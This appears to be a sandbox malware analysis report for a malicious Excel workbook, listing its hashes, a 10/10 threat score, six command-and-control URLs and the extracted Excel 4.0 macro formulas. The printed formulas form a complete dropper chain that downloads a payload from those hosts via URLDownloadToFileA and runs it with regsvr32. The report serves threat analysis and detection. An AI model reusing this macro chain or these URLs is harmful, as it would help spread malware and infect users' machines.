816d0b2366d0e2b4b5f79fb8dde9e08c1f6e6e7634cfb931acfec721c791fe80

General

Target

816d0b2366d0e2b4b5f79fb8dde9e08c1f6e6e7634cfb931acfec721c791fe80
Size

37KB
Sample

241120-jp2gratcmh
MD5

ec796be9c3c89e52b87c258fe168f9f5
SHA1

3dc10709fa1edd302c9beeaff870a16be23e884f
SHA256

816d0b2366d0e2b4b5f79fb8dde9e08c1f6e6e7634cfb931acfec721c791fe80
SHA512

ffeb707a38629a6733251ebec075c03fd433990eb456ab584ba4b96db32d3cb884a34f6e97ba33b6852b1faed56932a12366ea29b67861039b507cf9685f4a2c
SSDEEP

768:S7CkFF/vxL7UD9msu3bm9Y9Z502lkJexn9/Eg00wPYRND/0ZSPo0B5HAVJ:S7Tlxwuaa502Wex9wTsZ/0YBdI

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/

http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/

http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/

https://ramijabali.com/licenses/WQu8ZS0qQNGp/

http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/

http://blog.centerking.top/wp-includes/YvwIBPBq/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ramijabali.com/licenses/WQu8ZS0qQNGp/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/YvwIBPBq/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://sorathlions.com/tmp/bfJrKD4g0bJL73qw/

xlm40.dropper

http://www.invest-moon.com/wp-admin/2PbOcXXyFr4oFoogAA/

xlm40.dropper

http://narsanatanaokulu.com/wp-includes/reZNtZ53IH/

xlm40.dropper

https://ramijabali.com/licenses/WQu8ZS0qQNGp/

xlm40.dropper

http://support.techopesolutions.com/gq2z3/yt7TquOtSLXXeade/

xlm40.dropper

http://blog.centerking.top/wp-includes/YvwIBPBq/